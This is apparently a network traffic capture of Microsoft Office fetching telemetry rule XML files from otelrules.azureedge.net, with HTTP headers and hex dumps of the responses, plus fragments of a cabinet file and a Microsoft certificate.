2024-11-21 02:09:09 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-21 02:09:09 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:09 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:09 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:09 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: fce879e9-f01e-0052-0d66-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020909Z-178bfbc474bscnbchC1NYCe7eg00000000vg000000011n2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:09 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:09 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020909Z-178bfbc474bq2pr7hC1NYCkfgg000000010000000000bkct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:09 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:09 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:09 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020909Z-1777c6cb754lvj6mhC1TEBke940000000ahg000000008ezr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:09 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:09 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:09 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:09 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020909Z-178bfbc474bmqmgjhC1NYCy16c00000001000000000014yf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:09 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:09 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:09 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 5a6b30d1-101e-00a2-7c5b-3b9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020909Z-178bfbc474b9fdhphC1NYCac0n00000000r000000000m7np x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:11 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:11 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: b21886d4-801e-0048-19a5-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020911Z-r1d97b99577l6wbzhC1TEB3fwn00000009t000000000k3ak x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:11 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:12 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:11 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020911Z-178bfbc474bfw4gbhC1NYCunf400000000ug00000000k6p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:11 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:11 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 44ceed99-901e-0064-727b-3be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020911Z-r1d97b99577hsvhhhC1TEByb1w00000003zg00000000buez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:12 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:11 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 38659630-901e-008f-15a0-3b67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020911Z-r1d97b99577brct2hC1TEBambg00000003ag00000000mbw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:11 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:12 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020912Z-r1d97b99577l6wbzhC1TEB3fwn00000009sg00000000h588 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:12 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:13 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:14 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:14 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 44a56bea-901e-0064-626a-3be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020914Z-178bfbc474bvjk8shC1NYC83ns00000000qg000000009mzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
